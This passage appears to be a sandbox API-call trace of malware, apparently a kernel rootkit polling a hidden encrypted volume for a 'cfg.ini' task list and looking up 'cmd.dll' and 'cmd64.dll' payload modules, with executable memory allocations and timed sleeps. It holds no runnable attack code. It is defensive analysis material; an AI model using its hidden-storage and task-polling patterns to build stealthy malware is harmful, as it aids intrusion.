_Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.779] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.779] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfc9b0 [0127.779] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.779] KeLeaveCriticalRegion () [0127.779] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.779] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.779] KeEnterCriticalRegion () [0127.779] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.779] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.779] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.779] KeLeaveCriticalRegion () [0127.779] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.779] KeEnterCriticalRegion () [0127.779] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.779] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.779] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.779] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.779] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.779] IdePortDispatch () returned 0x103 [0127.779] KeWaitForMutexObject () returned 0x0 [0127.780] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.780] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.780] KeLeaveCriticalRegion () [0127.780] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.780] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.780] KeEnterCriticalRegion () [0127.780] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.780] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c46000 [0127.780] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.780] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.780] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.780] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.780] IdePortDispatch () returned 0x103 [0127.780] KeWaitForMutexObject () returned 0x0 [0127.780] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.780] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.780] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.780] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.780] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.780] IdePortDispatch () returned 0x103 [0127.780] KeWaitForMutexObject () returned 0x0 [0127.780] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.780] KeLeaveCriticalRegion () [0127.780] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.781] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.781] KeEnterCriticalRegion () [0127.781] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.781] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.781] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.781] KeLeaveCriticalRegion () [0127.781] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.781] KeEnterCriticalRegion () [0127.781] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.781] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.781] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfc1c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.781] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.781] KeLeaveCriticalRegion () [0127.781] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.781] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.781] KeEnterCriticalRegion () [0127.781] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.781] ExFreePoolWithTag (P=0xfffffa8003bfc9b0, Tag=0x0) [0127.781] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.781] KeLeaveCriticalRegion () [0127.781] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.781] ReleaseMutex (hMutex=0xf0) returned 1 [0127.782] Sleep (dwMilliseconds=0x927c0) [0127.795] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.795] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.795] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.795] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.795] KeEnterCriticalRegion () [0127.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.795] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.795] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.795] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.795] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.795] IdePortDispatch () returned 0x103 [0127.796] KeWaitForMutexObject () returned 0x0 [0127.796] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.796] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.796] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.796] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.796] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.796] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfcc00 [0127.796] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.796] KeLeaveCriticalRegion () [0127.796] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.796] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.796] KeEnterCriticalRegion () [0127.796] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.796] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.796] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.796] KeLeaveCriticalRegion () [0127.796] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.796] KeEnterCriticalRegion () [0127.796] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.796] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.796] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.796] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.796] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.796] IdePortDispatch () returned 0x103 [0127.796] KeWaitForMutexObject () returned 0x0 [0127.796] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.796] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.796] KeLeaveCriticalRegion () [0127.796] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.796] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.797] KeEnterCriticalRegion () [0127.797] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.797] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c4b000 [0127.797] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.797] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.797] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.797] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.797] IdePortDispatch () returned 0x103 [0127.797] KeWaitForMutexObject () returned 0x0 [0127.797] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.797] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.797] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.797] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.797] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.797] IdePortDispatch () returned 0x103 [0127.797] KeWaitForMutexObject () returned 0x0 [0127.797] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.797] KeLeaveCriticalRegion () [0127.797] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.798] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.798] KeEnterCriticalRegion () [0127.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.798] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.798] KeLeaveCriticalRegion () [0127.798] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.798] KeEnterCriticalRegion () [0127.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.798] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.798] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfc870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.798] KeLeaveCriticalRegion () [0127.798] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.798] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.798] KeEnterCriticalRegion () [0127.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.798] ExFreePoolWithTag (P=0xfffffa8003bfcc00, Tag=0x0) [0127.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.798] KeLeaveCriticalRegion () [0127.798] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.798] ReleaseMutex (hMutex=0xf0) returned 1 [0127.798] Sleep (dwMilliseconds=0x927c0) [0127.815] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.815] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.815] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.815] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.815] KeEnterCriticalRegion () [0127.815] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.815] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.815] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.815] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.815] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.815] IdePortDispatch () returned 0x103 [0127.815] KeWaitForMutexObject () returned 0x0 [0127.815] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.815] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.815] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.815] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.815] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.815] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfc500 [0127.815] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.815] KeLeaveCriticalRegion () [0127.815] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.815] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.816] KeEnterCriticalRegion () [0127.816] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.816] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.816] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.816] KeLeaveCriticalRegion () [0127.816] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.816] KeEnterCriticalRegion () [0127.816] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.816] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.816] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.816] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.816] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.816] IdePortDispatch () returned 0x103 [0127.816] KeWaitForMutexObject () returned 0x0 [0127.816] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.816] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.816] KeLeaveCriticalRegion () [0127.816] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.816] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.816] KeEnterCriticalRegion () [0127.816] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.816] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c50000 [0127.816] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.816] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.816] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.817] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.817] IdePortDispatch () returned 0x103 [0127.817] KeWaitForMutexObject () returned 0x0 [0127.817] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.817] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.817] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.817] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.817] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.817] IdePortDispatch () returned 0x103 [0127.817] KeWaitForMutexObject () returned 0x0 [0127.817] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.817] KeLeaveCriticalRegion () [0127.817] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.818] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.818] KeEnterCriticalRegion () [0127.818] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.818] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.818] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.818] KeLeaveCriticalRegion () [0127.818] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.818] KeEnterCriticalRegion () [0127.818] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.818] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.818] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfc070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.818] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.818] KeLeaveCriticalRegion () [0127.818] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.818] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.818] KeEnterCriticalRegion () [0127.818] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.818] ExFreePoolWithTag (P=0xfffffa8003bfc500, Tag=0x0) [0127.818] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.818] KeLeaveCriticalRegion () [0127.818] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.819] ReleaseMutex (hMutex=0xf0) returned 1 [0127.819] Sleep (dwMilliseconds=0x927c0) [0127.837] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.837] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.837] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.837] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.837] KeEnterCriticalRegion () [0127.837] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.837] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.837] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.837] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.837] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.837] IdePortDispatch () returned 0x103 [0127.838] KeWaitForMutexObject () returned 0x0 [0127.838] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.838] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.838] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.838] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.838] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.838] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfc9b0 [0127.838] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.838] KeLeaveCriticalRegion () [0127.838] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.838] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.838] KeEnterCriticalRegion () [0127.838] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.838] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.838] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.838] KeLeaveCriticalRegion () [0127.838] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.838] KeEnterCriticalRegion () [0127.838] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.838] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.838] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.838] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.838] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.838] IdePortDispatch () returned 0x103 [0127.838] KeWaitForMutexObject () returned 0x0 [0127.838] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.839] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.839] KeLeaveCriticalRegion () [0127.839] IofCompleteRequest 